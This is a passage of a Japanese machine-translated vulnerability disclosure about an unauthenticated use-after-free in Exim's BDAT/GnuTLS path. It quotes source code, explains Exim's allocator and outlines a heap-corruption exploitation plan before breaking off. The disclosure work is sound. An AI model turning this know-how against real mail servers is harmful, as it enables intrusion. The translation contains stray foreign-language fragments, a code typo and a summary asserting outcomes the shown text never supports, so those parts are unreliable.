
2026/05/13 2:52
Dead.Letter(CVE-2026-45185):XBOW が Exim において認証不要なリモートコード実行を発見した方法
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
最も緊急な教訓は、Exim バージョン 4.97 に重大な脆弱性(CVE-2026-45185)が存在し、Debian または Ubuntu 24.04 LTS を実行しているサーバーにおいて認証を必要としないリモートコード実行を可能にすることです。欠陥は TLS のシャットダウン中に発生します:
tls_close() が転送バッファを解放した際、その後で BDAT パーサーがその解放されたメモリを書き込み、Exim のカスタムアロケーターメタデータ(storeblock 長さフィールド)を破損させます。この破損により、攻撃者は精巧に調整された SMTP セッションを通じて任意のコードを実行するためにアロケーションをハイジャックできます。ハッシュコンテキスト初期化における二次的なメモリリークが、決定的な悪用のさらなる助けとなります。最近の公開チャレンジャーでは、自律型 LLM は無防備な環境で当初は成功しましたが、最終的にはカスタムアロケーターを対象とした堅牢な生産システムにおいて人間研究者に及ぶことができませんでした。人間は、自動化されたモデルが欠如していた重要なデバッグ直感を活用することで勝利しました。これらの発見は、LLM が強力なアシスタントであり得る一方で、現在のところ、重大な監督なしで複雑なセキュリティ欠陥を確実に悪用するために人間研究者を代替することはできないことを確認しています。システム管理者は、ネットワーク上で不正なリモート実行を防ぐために、Exim 4.97 を即座にパッチ適用する必要があります。本文
CVE-2026-45185
親愛なる読者へ、以下の文章はまず第一に「物語」です。古くて使い込まれたタイプの物語の一種です。遭遇とすれ違い、砕けた心そして静かな裏切り、永久不変だと思われていた愛が全く別の何かに変容していく物語です。今回は、そのような形の物語が語られることがないような設定の中で語られます。
これらのページは、私たちが構築している製品の初期のテスト段階での副産物です。その製品は、ネイティブコードにおける脆弱性の発見と検出に焦点を当てています。つまり、あなたが次に読むことになるのは二つのことでもあります。一つには、私たちが発見し報告した全世界規模の脆弱性への技術的な記述であり、他にはより静かに、現在生きているこの世界の新たな形状と和解しようとした私の記録です。
私は過去数年間、プロとしてエキスプロイトを執筆していましたが、セキュリティ分野では合計 20 年務めています。近年、大規模言語モデル(LLM)が登場しパラダイムをシフトさせましたが、これまでの間は、私が LLM をエキスプロイトの作成に使おうとすると、常に傍観者の立場に留めてきました。本書が記述するのは、初めて私がその監視装置を下ろし、これまで自分が手を動かしてきた領域の一つに、これらのモデルの一つを入れたことです。さらに、私のキャリア全体を通じて、私は Exim のソースコードの一行も読むことはありませんでした。数年前のある Qualys の記事(https://www.qualys.com/2021/05/04/21nails/21nails.txt)は当時頭を爆発させるほど驚かせましたが、コード自体には座って取り組むことがありませんでした。
次に記す内容は、技術的な深さを求めて来た読者と、物語のために来た読者の二つの種類に応えることを願っています。両方とも見つけてくれたなら幸いです。
脆弱性についての概要
このバグは、GnuTLS(Debian ベースのディストリビューション、Ubuntu を含む多くの標準的な TLS ライブラリ)によって処理される TLS 接続が発生する Use-After-Free (UAF) です。TLS のシャットダウン時、Exim は TLS 転送バッファを解放しますが、ネストされた BDAT 受信ワッパーは依然として入出力バイトを処理し続け、
ungetc() を呼び出して、解放済みの領域に単一文字(\n)を書き込むことになります。その一つのバイトの書き込みは Exim のアロケーターのメタデータ上に発生し、アロケーター内部の状態を破損させます。エキスプロイトはこの破損を利用して、さらにプライミティブを得ることに成功します。
ここで重要なのは、このバグをトリガーするためにサーバー側で特別な設定をほとんど行わなくてもよいことです。その点は、破損の技術的な形状よりもむしろ、Exim で発見された最高品質のバグの一つであることを決定づけています。書き込みプリミティブは一見すると欺瞞的に弱く見えるかもしれません(解放済みのメモリ領域に単一の改行文字を書くだけ)。しかし、この投稿の後半で示すように、その一つのバイトだけでリモートコード実行(RCE)へエスカレートさせるのに十分なのです。
以下では、Exim の仕組み内でのバグがどこに存在するかを技術的な詳細と共に解説します。
もし物語のみを求める読者の場合は、「課題の設定」セクションへ飛び越えてください。
注記: この投稿内のすべてのコードは、Debian ベース(Ubuntu 24.04 LTS を含む)のデフォルトインストールで提供される Exim 4.97 から抽出されています。
Exim の基本事項
プレーンテキスト SMTP セッション上でクライアントから STARTTLS が発行されると、Exim のコマンドディスパッチャは以下のハンドラを実行します。
ファイル:
src/smtp_in.c
int smtp_setup_msg(void) { // ... switch (smtp_read_command(...)) { // ... case STARTTLS_CMD: HAD(SCH_STARTTLS); if (!fl.tls_advertised) { done = synprot_error(L_smtp_protocol_error, 503, NULL, US"STARTTLS command used when not advertised"); break; } /* ACL チェックを適用する(定義されている場合)*/ if ( acl_smtp_starttls && (rc = acl_check(ACL_WHERE_STARTTLS, NULL, acl_smtp_starttls, &user_msg, &log_msg)) != OK) { done = smtp_handle_acl_fail(ACL_WHERE_STARTTLS, rc, user_msg, log_msg); break; } // ... s = NULL; if ((rc = tls_server_start(&s)) == OK) //[1] { // ... DEBUG(D_tls) debug_printf("TLS active\n"); break; /* _successful STARTTLS */ } // ... } // ... }
[1] では
tls_server_start() が呼び出され、それが結果として tls_init() を呼び出すことで、新しい GnuTLS サーバセッションを確保します。
ファイル:
src/tls-gnu.c
static int tls_init( const host_item *host, smtp_transport_options_block * ob, const uschar * require_ciphers, exim_gnutls_state_st **caller_state, tls_support * tlsp, uschar ** errstr) { //... state = &state_server; state->tlsp = tlsp; DEBUG(D_tls) debug_printf("initialising GnuTLS server session\n"); rc = gnutls_init(&state->session, GNUTLS_SERVER); //... }
state->session は gnutls_session_t のハンドルであり、この TLS 接続の暗号化状態(合意された暗号スイート、レコード層のキー、読み書きシーケンス番号、ALPN 選択など)を所有しています。重要な点は、これが GnuTLS から Exim へ橋渡しするトランスポートコールバックも処理するため、このオブジェクトは TLS 状態を扱うものとして扱い、あらゆる操作で引数として渡されることです。例えば:
ファイル:
src/tls-gnu.c
rc = gnutls_handshake(state->session); //... inbytes = gnutls_record_recv(state->session, state->xfer_buffer, ...); //... outbytes = gnutls_record_send(state->session, buff, left); //... gnutls_bye(state->session, GNUTLS_SHUT_WR); //... gnutls_deinit(state->session);
tls_server_start() 戻回来后、セッションが存在する時点で Exim は証明書検証を設定し、SNI ポストクライアントヘルロコールバックを登録し、220 TLS go ahead を返信し、GnuTLS トランスポート層を SMTP インプットとアウトプットファイルディスクリプタに接続し、最後にハンドシェイクを実行します。
ファイル:
src/tls-gnu.c
int tls_server_start(uschar ** errstr) { int rc; exim_gnutls_state_st * state = NULL; // ... already-active check, tls_init() call, ALPN/resume setup ... if (verify_check_host(&tls_verify_hosts) == OK) { state->verify_requirement = VERIFY_REQUIRED; gnutls_certificate_server_set_request(state->session, GNUTLS_CERT_REQUIRE); } // ... gnutls_handshake_set_post_client_hello_function(state->session, exim_sni_handling_cb); if (!state->tlsp->on_connect) { smtp_printf("220 TLS go ahead\r\n", FALSE); fflush(smtp_out); } gnutls_transport_set_ptr2(state->session, (gnutls_transport_ptr_t)(long) fileno(smtp_in), (gnutls_transport_ptr_t)(long) fileno(smtp_out)); state->fd_in = fileno(smtp_in); state->fd_out = fileno(smtp_out); //... }
ハンドシェイク成功后、Exim は
store_malloc() を使って転送バッファを確保し、SMTP 受信関数を TLS ワッパー関数に置換します。これらのワッパーの目的は、受信_*関数の呼び出し方を、基盤となる接続タイプから抽象化する 것입니다。
ファイル:
exim-gnutls-noasan/src/tls-gnu.c
int tls_server_start(uschar ** errstr) { //... state->xfer_buffer = store_malloc(ssl_xfer_buffer_size); receive_getc = tls_getc; receive_getbuf = tls_getbuf; receive_get_cache = tls_get_cache; receive_hasc = tls_hasc; receive_ungetc = tls_ungetc; receive_feof = tls_feof; receive_ferror = tls_ferror; return OK; }
xfer_buffer は、4096 バイトのプレーンテキスト領域です。パーサーが tls_getc() を呼び出した際、バッファが空であれば、tls_refill() がレコードをここへ復号化します。バイトはローワーウォーターマーク xfer_buffer_lwm 一つずつ消費されます。念頭に置くべき詳細は、このバッファが直接 store_malloc() で確保されたものであることです。これは internal_store_malloc() のラッパーであり、さらにその元は malloc です。
ファイル:
src/store.c
void store_malloc_3(size_t size, const char func, int linenumber) { if (n_nonpool_blocks++ > max_nonpool_blocks) max_nonpool_blocks = n_nonpool_blocks; return internal_store_malloc(size, func, linenumber); //[1] }
tls_server_start() が戻ってきた後、SMTP I/O パスはインストールされた TLS 対応コールバックを通じて実行されます。Exim は tls_getc() を直接呼び出すわけではなく、前述の非直接関数ポインタ(receive_getc、receive_getbuf など)を呼び出します。
BDAT チャンキング
BDAT (RFC 3030 CHUNKING) は、SMTP グラムマールの一部で、クライアントが「次の N オクテットはボディバイトであり、SMTP コマンドとして解釈しないように」旨を伝えます。DATA が CRLF で終結するストリームで
. を最後に届けるのに対し、BDAT N [LAST] はサイズを事前に宣言し、受信側はそのまま N バイトを読みます。
Exim のパーサーにとっては小さな実装上の課題となります。パーサーは非直接関数ポインタ(
receive_getc, receive_getbuf, receive_hasc, receive_ungetc)によって駆動される状態機械です。前述の通り、プレーンテキストセッションではその層は smtp でしたが、STARTTLS成功后、行全体が tls_ を指すように書き換えられます。しかし BDAT はモーダルな操作であり、基盤となるトランスポートを置き換えるのではなく、有界数バイト上でそれを構成し、その後は道を譲ります。
これを処理するために、Exim は同じ形状の第二行を保持しています (
lwrreceive*)。BDAT チャンクが始まると、bdat_push_receive_functions() が現在のトップ行を下方向にコピーし、BDAT ワッパーで上方向を書き換えます:
ファイル:
src/smtp_in.c
static inline void bdat_push_receive_functions(void) { /* 現在の受信_*関数をスタック上に押し込み、 lwr_receive_*関数を使って下働きを行うことで、bdat_getc() を代わりに使用して置き換える。*/ if (!lwr_receive_getc) { lwr_receive_getc = receive_getc; lwr_receive_getbuf = receive_getbuf; lwr_receive_hasc = receive_hasc; lwr_receive_ungetc = receive_ungetc; } else { DEBUG(D_receive) debug_printf("chunking double-push receive functions\n"); } receive_getc = bdat_getc; receive_getbuf = bdat_getbuf; receive_hasc = bdat_hasc; receive_ungetc = bdat_ungetc; }
BDAT ワッパー自体は SMTP コマンドを解析しません。それらが行うのは、直前に保存した下層へ実際の I/O をすべて後回しにすることです:
int bdat_getc(unsigned lim) { // ... for (;;) { if (chunking_data_left > 0) return lwr_receive_getc(chunking_data_left--); bdat_pop_receive_functions(); } } uschar * bdat_getbuf(unsigned * len) { uschar * buf; if (chunking_data_left == 0) { *len = 0; return NULL; } if (*len > chunking_data_left) *len = chunking_data_left; buf = lwr_receive_getbuf(len); /* Either smtp_getbuf or tls_getbuf */ chunking_data_left -= *len; return buf; } int bdat_ungetc(int ch) { chunking_data_left++; bdat_push_receive_functions(); /* まだ終わっていないので、push 呼び出しは安全(何かを push する前に状態をチェックするため)*/ return lwr_receive_ungetc(ch); }
BDAT がアクティブの間、メッセージリーダーが引き起こす各ボディバイトは次のパスをたどります:
bdat_getc -> lwr_receive_getc -> tls_getc -> gnutls_record_recv -> xfer_buffer
チャンクが消費されると、BDAT は自身を
bdat_pop_receive_functions() によってスタックから外すことになっています。これは下層を行に戻し、下層行を NULL にクリアします:
ファイル:
src/smtp_in.c
static inline void dat_pop_receive_functions(void) { if (!lwr_receive_getc) { DEBUG(D_receive) debug_printf("chunking double-pop receive functions\n"); return; } receive_getc = lwr_receive_getc; receive_getbuf = lwr_receive_getbuf; receive_hasc = lwr_receive_hasc; receive_ungetc = lwr_receive_ungetc; lwr_receive_getc = NULL; lwr_receive_getbuf = NULL; lwr_receive_hasc = NULL; lwr_receive_ungetc = NULL; }
下層行は BDAT が所有しており、
bdat_push_receive_functions() で tls_*(または smtp_*)を lwr_receive_* に置いた後、bdat_pop_receive_functions() 以外にそれを再び取り出すことは想定されていません。Exim のコードパスで下層行を読み書きするのは他にありません。
TLS 受信パス内部:xfer_buffer とローワーウォーターマーク
BDAT が保存された
tls_* コールバックを呼び出すことを知った後、次の質問は「そのコールバックが実際に何を行うか」です。この物語の後の部分で重要になるのは二つです。tls_getc() と tls_ungetc() です:
ファイル:
src/tls-gnu.c
/************************************************* * TLS 版の getc * *************************************************/ /* TLS インプットバッファから次のバイトを取得します。バッファが空であれば、 GnuTLS 読み込み関数を使ってバッファを補充します。 サーバー側 TLS でのみ使用されます。 DKIM に供給され、メッセージボディのすべての読み取りに使用されるべきです。 引数: lim 読み込みたい最大量 / バッファサイズ 返り値: 次の文字または EOF */ int tls_getc(unsigned lim) { exim_gnutls_state_st * state = &state_server; if (state->xfer_buffer_lwm >= state->xfer_buffer_hwm) if (!tls_refill(lim)) return state->xfer_error ? EOF : smtp_getc(lim); }/************************************************* * TLS 版の ungetc * *************************************************/ /* 文字をインプットバッファに戻します。一度のみ呼び出されます。 サーバー側 TLS でのみ使用されます。 引数: ch 文字 返り値: 文字 */ int tls_ungetc(int ch) { if (ssl_xfer_buffer_lwm <= 0) log_write_die(0, LOG_MAIN, "buffer underflow in tls_ungetc"); ssl_xfer_buffer[--ssl_xfer_buffer_lwm] = ch; return ch; }
両方の関数は同じ三個の変数に対して動作します:
— 4096 バイトの転送バッファ(ssl_xfer_buffer
でtls_server_start()
を使って確保)store_malloc()
— ローワーウォーターマーク、消費する次のバイトのインデックスssl_xfer_buffer_lwm
— ハイウォーターマーク、バッファリングされた最後のバイトを 1 つ過ぎた場所ssl_xfer_buffer_hwm
このバッファは
tls_refill() で埋められ、ここが gnutls_record_recv() を呼び出して次回の TLS レコードを xfer_buffer へ復号化します。補充後、lwm は 0 にリセットされ、hwm は復号化されたレコードのサイズに設定されます。
これにより、SMTP コマンドを送るだけで
ssl_xfer_buffer_lwm を制御することが可能です。
トリガー
自由と使用は、
receive_msg() から呼び出される read_message_bdat_smtp() の呼び出し内で発生します。read_message_bdat_smtp_ は BDAT チャンクのボディバイトを拉致する任務を負います。BDAT ボディパーサーが実行されると、チャンクが完全に消費されるまでコールバックに帰回しません。すべてがそのウィンドウで発生します——xfer_buffer がループ中に解放され、同じループの数イテレーション後、書き込みが行われます。
上記の read_message_data_smtp() の RFC 3030 CHUNKING に特化したバリエーション。 CRLF または CR または LF で区切られた入力行を受け取り、LF で終結したスプーlf ファイルへ書き込みます。ワイヤフォーマットのスプーファイルが完成するまで、ボディラインカウントを用いてワイヤのための再展開を適切に行う必要があります。そのため、上記の状態機械の短縮版を使用します。リーディングドット検出とアンスタフィングを行う必要はありません。
引数:
- fout: メッセージを書き込むための FILE; スキップ中なら NULL; 書き込みと読み込みの両方がオープンされている必要があります。
- 返り値: 読み取りを停止した理由を示す END_xxx のいずれか。
static int read_message_bdat_smtp(FILE * fout) { int linelength = 0, ch; enum CH_STATE ch_state = LF_SEEN; BOOL fix_nl = FALSE; for(;;) { switch ((ch = bdat_getc(GETC_BUFFER_UNLIMITED))) //[1] { case EOF: return END_EOF; case ERR: return END_PROTOCOL; case EOD: // ... if (linelength == -1) /* \r 既に見つけた */ { bdat_ungetc('\n'); // THE USE: ここに UAF 書き込みが発生 continue; } bdat_ungetc('\r'); // ('\r' 分岐は同じプリミティブ、 fix_nl = TRUE; /* ただし異なるバイト値)*/ continue; case '\0': body_zerocount++; break; } // ... } }
ループの各イテレーションは
bdat_getc ([1]) を呼び出します。チャンクにボディバイトが残りながら、bdat_getc は残りの作業を保存された下層に委譲します:
ファイル:
src/smtp_in.c
int bdat_getc(unsigned lim) { // ... for (;;) { if (chunking_data_left > 0) return lwr_receive_getc(chunking_data_left--);//[1] } }
[1] は
tls_getc を呼び出し、私達のケースでは:
ファイル:
src/tls-gnu.c
int tls_getc(unsigned lim) { exim_gnutls_state_st * state = &state_server; if (state->xfer_buffer_lwm >= state->xfer_buffer_hwm) if (!tls_refill(lim)) //[2] return state->xfer_error ? EOF : smtp_getc(lim);// クリアテキストフォールバック after close return state->xfer_buffer[state->xfer_buffer_lwm++]; }
[2] は
tls_refill を呼び出します。
ファイル:
src/tls-gnu.c
static BOOL tls_refill(unsigned lim) { exim_gnutls_state_st * state = &state_server; ssize_t inbytes; // ... do inbytes = gnutls_record_recv(state->session, state->xfer_buffer, MIN(ssl_xfer_buffer_size, lim)); while (inbytes == GNUTLS_E_AGAIN); // ... if (sigalrm_seen){ //... } else if (inbytes == 0) { DEBUG(D_tls) debug_printf("Got TLS_EOF\n"); tls_close(NULL, TLS_NO_SHUTDOWN); //これは state->xfer_buffer を解放 return FALSE; } }
tls_close() が実際のアローテーションの場所です。
ファイル:
src/tls-gnu.c
void tls_close(void * ct_ctx, int do_shutdown) { // ... if (!ct_ctx) /* サーバー */ { receive_getc = smtp_getc; //[1] receive_getbuf = smtp_getbuf; receive_get_cache = smtp_get_cache; receive_hasc = smtp_hasc; receive_ungetc = smtp_ungetc; receive_feof = smtp_feof; receive_ferror = smtp_ferror; } // [2] gnutls_deinit(state->session); if (state->xfer_buffer) store_free(state->xfer_buffer); //[3] }
ブロック [1] は TLS 接続をアンラップするので、プロトコルは通信をクリアテキストへ移動させます。[2] では
lwr_receive_* 行には触れません。[3] で解放関数を呼び出します。
ここで注意すべき二つのこと:バグの残りがこれらに基づいています。
は上位レベルの受信_*コールバックだけをtls_close()
に戻し、BDAT がチャンク開始時にsmtp_*
で埋めたtls_*
行には触れません。したがってlwr_receive_*
はまだlwr_receive_ungetc
で、発射態勢にあります。tls_ungetc
は解放されますが NULL に設定されません。そのポインタ値は直ちに解放されたチャンクを指し続けます。state->xfer_buffer
使用への到達
最終的に
bdat_getc は EOD を返します。制御は read_message_bdat_smtp の頂部の EOD ケースに戻り、CRLF 欠落補正が発生します:
case EOD: // ... if (linelength == -1) { bdat_ungetc('\n'); continue; }
そして前述の通り、
tls_ungetc は state_server.xfer_buffer を書き込み、それはまだ解放されたポインタを保持しています:
ファイル:
src/tls.c
/************************************************* * TLS 版の ungetc * *************************************************/ /* 文字をインプットバッファに戻します。一度のみ 呼ばれます。 サーバー側 TLS でのみ使用されます。 引数: ch 文字 返り値: 文字 */ int tls_ungetc(int ch) { if (ssl_xfer_buffer_lwm <= 0) log_write_die(0, LOG_MAIN, "buffer underflow in tls_ungetc"); ssl_xfer_buffer[--ssl_xfer_buffer_lwm] = ch; //[1] return ch; }
[1] は一バイト(
\n または \r)を書き込みます。
この自由と使用の間にある同じウィンドウで注意すべきことがあります。
tls_refill が FALSE を返した後、制御は tls_getc へ戻り、残りボディをクリアテキストで読むために smtp_getc(lim) にフォールバックします。read_message_bdat_smtp のループは何かが変わったことに気づかず、継続して実行されます。これで接続のクリアテキスト尾部からバイトを引き出します(もはや死んだ TLS レイヤーではなく)。そして各クリアテキストの充填は smtp_refill を通るため、DKIM に供給されます:
ファイル:
src/smtp_in.c
/* バッファを補充し、DKIM 検証コードに通知します。 エラーまたは EOF の場合 FALSE を返します。 */ static BOOL smtp_refill(unsigned lim) { //... #ifndef DISABLE_DKIM dkim_exim_verify_feed(smtp_inbuffer, rc); #endif //... return TRUE; }
dkim_exim_verify_feed は重要になる二つのことを行います:
ファイル:
src/dkim.c
/* 検証入力用のデータチャンクを提出します。 フィードが有効にされた時のみ使用されます。*/ void dkim_exim_verify_feed(uschar * data, int len) { int rc; store_pool = POOL_MESSAGE; if ( dkim_collect_input && (rc = pdkim_feed(dkim_verify_ctx, data, len)) != PDKIM_OK) { //... } store_pool = dkim_verify_oldpool; }
[1] と [2] はスコープを設定して、DKIM が実行される間プーアロケーションが
POOL_MESSAGE に行くように確保します。後で(およびプーアロケーションがどのように機能するか)Exim 独自のアロケーターの仕組みについて話しますが、基本的には、pdkim_feed() 以下の内部で行われる各 store_get() は POOL_MESSAGE へ行きます。したがって自由と使用の間、異なる二つのプーがアローテーションを受け取ることができます:DKIM で各ラインをハッシュする間 POOL_MESSAGE、他のすべてに対して POOL_MAIN です。
ボディバイトが
pdkim_feed を通す時、非プーアロケーションをトリガーします:
ファイル:
src/pdkim/pdkim.c
static blob * pdkim_update_ctx_bodyhash(pdkim_bodyhash * b, const blob * orig_data, blob * relaxed_data) { const blob * canon_data = orig_data; // ... if (b->canon_method == PDKIM_CANON_RELAXED) { if (!relaxed_data) { // ... relaxed_data = store_malloc(sizeof(blob) + orig_data->len + 1);// [1] relaxed_data->data = US (relaxed_data + 1); for (const uschar * p = orig_data->data, * r = p + orig_data->len; p < r; p++) { char c = *p; // ... relaxed_data->data[q++] = c; // [2] } relaxed_data->data[q] = '\0'; relaxed_data->len = q; } canon_data = relaxed_data; } // ... return relaxed_data; }
[1] はサイズを制御できる非プーア(
store_malloc)アローテーションであり、[2] は新たに確保されたチャンクへバイトをコピーします。残念ながら私達にとって、これは仮の(テンポラリ)アローテーションなので、このアローテーションはほとんど直ちに解放されます。
static void pdkim_bodyline_complete(pdkim_ctx * ctx) { blob line = {.data = ctx->linebuf, .len = ctx->linebuf_offset}; blob * rnl = NULL; blob * rline = NULL; // ... for (pdkim_bodyhash * b = ctx->bodyhash; b; b = b->next) { //... while (b->num_buffered_blanklines) { rnl = pdkim_update_ctx_bodyhash(b, &lineending, rnl);//[A] b->num_buffered_blanklines--; } rline = pdkim_update_ctx_bodyhash(b, &line, rline); // [B] //... } if (rnl) store_free(rnl); // [C] if (rline) store_free(rline); // [D] // ... }
[C] [D] は [A] と [B] でアローテーションされたバッファを解放します。これらは仮のアローテーションですが、glibc の
free はチャンクをクリアせず、解放リストリンケージによって最初の数バイトだけが破棄されるため、プリミティブは解放されたチャンクを取り戻し、私たちの制御したバイトでほぼ元のままを填充できる可能性があります。
Exim 独自メモリアロケーター
さらに進む前に、Exim のカスタムメモリアロケーターである
store サブシステムについて一時停止して考える価値があります。バグの形状は、この部品が配置されると初めて読み取り可能です。いくつかの早期の記事がこの点を詳細にカバーしており、読む価値があります(#### )。
Exim はすべての短命オブジェクトを単純な
malloc でアローテーションしません。大多数の一時データは、コードベースで store と呼ばれる手作りのプーアロケーターを通ります。src/store.c のコメントによると、短命のプロセスには真の自由が必要ではありませんが、トランザクション完了後にメモリをバッチで「巻き戻す」のを安くするため、プーアの集合体が使用されます。
プーアの集合体は固定されており、
src/store.h 内の enum で生息します:
ファイル:
src/store.h
enum { POOL_MAIN, POOL_PERM, POOL_CONFIG, POOL_SEARCH, POOL_MESSAGE, POOL_TAINT_BASE, POOL_TAINT_MAIN = POOL_TAINT_BASE, POOL_TAINT_PERM, POOL_TAINT_CONFIG, POOL_TAINT_SEARCH, POOL_TAINT_MESSAGE, N_PAIRED_POOLS };
プーアは、
internal_store_malloc() から得たメモリチャンクのリンケッドリストとして実装され、バンプアロケーターのように管理されます。そのリンケッドリスト内の各要素は storeblock です:
ファイル:
src/store.c
typedef struct storeblock { struct storeblock *next; size_t length; } storeblock;
64 ビットビルドではヘッダーが 16 バイトを占め、各ブロックは +0x0 に次ポインタ、+0x8 に長さフィールド、そして最後に +0x10 でユーザーアローテーションが始まります。
各プーアは単一の構造体
pooldesc で説明されます。この構造体は glibc メモリ内にあり、各プーアに対して正確に一つあります。
typedef struct pooldesc { storeblock * chainbase; /* ブロックのリスト */ storeblock * current_block; /* トップブロック、まだ自由スペースあり */ void * next_yield; /* 次のアローテーションポイント */ int yield_length; /* 現在のブロックの残りのスペース */ unsigned store_block_order; /* log2(サイズ) ブロックアローテーションサイズ */ // ... } pooldesc;
chainbase はプーアが最初のブロックを得た瞬間に一度だけ設定され、プーアが生きている間には書き換えられません。
current_block はバンプカーソルが現在住んでいる storeblock を指しており、次の store_get が供給されるブロックです。バンプカーソルは storeblock 内部でしか前進せず、pool_get は常に尾部に新しいブロックを追加し、一つずつ前のサイズよりも二倍大きい(最初のものは 4 KiB、次に 8 KiB、16 KiB など)。メモリはアローテーションレベルに戻らず、オブジェクトごとの自由も存在せず、pool_get が増大することを決定する前にブロックの尾部で残った余計なバイトは単に放棄されます(古典的な内部断片化コスト)。メモリがプーアへリリースされるのはバンプカーソルを巻き戻す方法のみであり、そのためにはコールラーが最初に印をつける必要があります。
マーク(mark)は本の中のブックマーカーのように振る舞います。コールラーは戻ることができるポイントで
store_mark() を呼び出し、関数はその瞬間に使用される現在の storeblock で小さな 8 バイトアローテーションを行い、そのアドレスがコールラーが後に保存するクッキーとなります。マークには自動的な性質はなく、明示的に要求された場所しか存在しません。Exim のほとんどのアローテーションは、どこにもマークがあることなく生と死を遂げます。
storereset(mark) が呼び出されると、Exim は指定されたマークにプーアを巻き戻します。この時点で二つの興味深いことが起こります。
一つ目は、リンケージブロックのチェーンで rewind ブロックの後に来た storeblocks が
internal_store_free(通常の glibc free())によって解放されることです。例外は一つだけあります:rewind ブロックから直ちに置かれた単一の storeblock は、バンプカーソルなしで保持されることが可能です。その保持されたブロックは、プーアが成長する必要がある次の時に pool_get が最初に確認する場所です。
学習の最中にこの仕組みを理解するために私が作成した CLI アスクリプトから引用したメンタルイメージは以下のようなものでした:
chainbase ─→ A ─→ B ─→ C ─→ D ─→ NULL ^ current_block
二つ目の興味深いことは、Exim がマークを含む
storeblock を新しい current_block として設定し、そのブロックのヘッダーからプーア描写を再構築することです。重要な行はこれです:
static void internal_store_reset(void * ptr, int pool, const char *func, int linenumber) { storeblock * bb; pooldesc * pp = paired_pools + pool; storeblock * b = pp->current_block; char * bc = CS b + ALIGNED_SIZEOF_STOREBLOCK; int newlength, count; //... newlength = bc + b->length - CS ptr; // [1] // ... pp->next_yield = CS ptr + (newlength % alignment); pp->yield_length = newlength - (newlength % alignment); pp->current_block = b; // ... }
その後 Exim は
next_yield をマーク位置に設定し、計算された newlength から yield_length を設定します。ここでチェックされていない storeblock 長さの修飾がライブアロケーター状態を変更する瞬間です。length が拡大された場合、プーアは本当に malloc チャンクの終端よりも自由スペースがあると考えていますので、後続の store_get() 呼び出しはこの修正された長さを使用します。
アロケーターについて知る最後の重要なことは、Exim が
POOL_TAINT_MAIN でちょうど N バイトを割り当てるために強制できる単一のコマンドがあることです(N は私たちが選んだ任意の値)。メカニズムはパーサーエントリで発生するアローテーションであり、コマンド引数から制御されます。形状は:
MAIL FROM:sender@example.test(AAAA...AAAA)
Exim がそれを解析し、受け入れ、最終的に棄却しますが、アドレス用のストレージにはコメントがまだ添えられています。SMTP コマントがディスパッチテーブルに到達すると、
smtp_read_command は mail from: キーワードを検出し、ラインの残りを smtp_cmd_data に解析します:
ファイル:
src/smtp_in.c
int smtp_read_command(BOOL check_sync, unsigned int buffer_lim) { // ... smtp_cmd_argument = smtp_cmd_buffer + p->len; while (isspace(*smtp_cmd_argument)) smtp_cmd_argument++ Ustrcpy(smtp_data_buffer, smtp_cmd_argument); smtp_cmd_data = smtp_data_buffer; // [1] // ... }
[1]
smtp_cmd_data は現在、MAIL FROM に続いたすべての文字列を指しています。私達の例の場合、sender@example.test(AAAA…AAAA) コメント付きです。
その後、そのコマンドは MAIL FROM コマンドハンドラーディスパッチに使われます:
ファイル:
src/smtp_in.c
int smtp_setup_msg(void) { // ... case MAIL_CMD: //... /* SMTP リライトを適用*/ raw_sender = rewrite_existflags & rewrite_smtp /* deconst ok as smtp_cmd_data was not const */ ? US rewrite_one(smtp_cmd_data, rewrite_smtp|rewrite_smtp_sender, NULL, FALSE, US"", global_rewrite_rules) : smtp_cmd_data; //[2] /* アドレスを抽出する;TRUE フラグは<> を有効とできる */ raw_sender = parse_extract_address(raw_sender, &errmess, &start, &end, &sender_domain, TRUE); //[3] // ... }
[2] の
rewrite_one 呼び出しは Exim コンフィグに基づいてメールアドレスをリライトできます。その後、その文字列は parse_extract_address で解析され、最初に実行する事は入力文字列のサイズに基づいてバッファを確保することです:
ファイル:
src/parse.c
uschar * parse_extract_address(const uschar *mailbox, uschar **errorptr, int *start, int *end, int *domain, BOOL allow_null) { uschar * yield = store_get(Ustrlen(mailbox) + 1, mailbox); //[4] const uschar *startptr, *endptr; const uschar *s = US mailbox; uschar *t = US yield; *domain = 0; // ... s = skip_comment(s); //[5] //... }
[4] で、
mailbox は私達が送ったコメントを含む生の引数です。Ustrlen(mailbox) の呼び出しは私達が送ったすべてのバイト(コメント AAAA… を含む)をカウントします;これは後で [5] まで剥離されません。store_get(size, proto_mem) は、SMTP ソケットから直接来たため、プーアセレクタが POOL_TAINT_BASE を追加する POOL_TAINT_MAIN でこのアローテーションを実行します。
チャレンジャーの設定
上記の分析の一部は、バグを発見した数時間以内に severity をサイズするためのものでした。その時点で私たちは二つの扉の前に立っていました。
最初の扉の後ろには、エキスプロイトを執筆して来た誰もが認識する誘惑がありました:実際のエキスプロイト(PoC||GTFO)を試みて、目で見確認し、Exim サーバーに対する認証のないリモートコード実行を持っていることを確認することです。
第二の扉の後ろには責任ある行動でした:今すぐ報告し、そのような calibre の穴が世間に置かれるのを待つことではありません。
私たちは二つの扉を選びました。報告を送り、Exim チームから severity をどう読むか、そして彼らのタイムラインはどのようになるかを教えてもらいました。答えはすぐに返ってきました:修正が適用され、7 日後にバグが公開される予定であることを知らされました。
7 日は概念検証を作成し、この投稿を書くための狭いウィンドウを与えました。途中のどこかで、私たち誰も完全に離せなかったアイデアが登場しました。私たちがその 7 日をコンテストに変えるでしょう。チームの一部は LLM をリリースしてエンドツーエンドでエキスプロイトを開発するように設定します。これは実際の脆弱性を CTF チャレンジャーに手渡すと同じように扱います:バグがあります、制約があり、フラグを見つけに行ってください。並行して、私は助手として LLM に沿って自分でそれを開発します。
ランニングレース
私の戦略は簡単でした(少なくとも紙の上では)。部分的なアイデアは以下のメモリーレイアウトを設定することでした:
┌─────────────────-┬──────────────┬──────────────┐ │ xfer_buffer │ free │ used │ └──────────────────┴──────────────┴──────────────┘ ^── start of xfer_buffer
UAF が発火した後、計画は DKIM 駆動アローテーションで解放された領域を奪い返し、一バイト書き込みが
POOL_MAIN の storeblock メタデータ上に落ち、その長さフィールドを膨張させることにしました。例えば:
┌─────────────────────────────────────┐ │ storeblock │ used │ │ (next | length) | │ └──────────────────────┴──────────────┘ ^ +0x0 next ptr (8 bytes) +0x8 length field (8 bytes) ← write +0xa: 0x3fe0 → 0xa3fe0
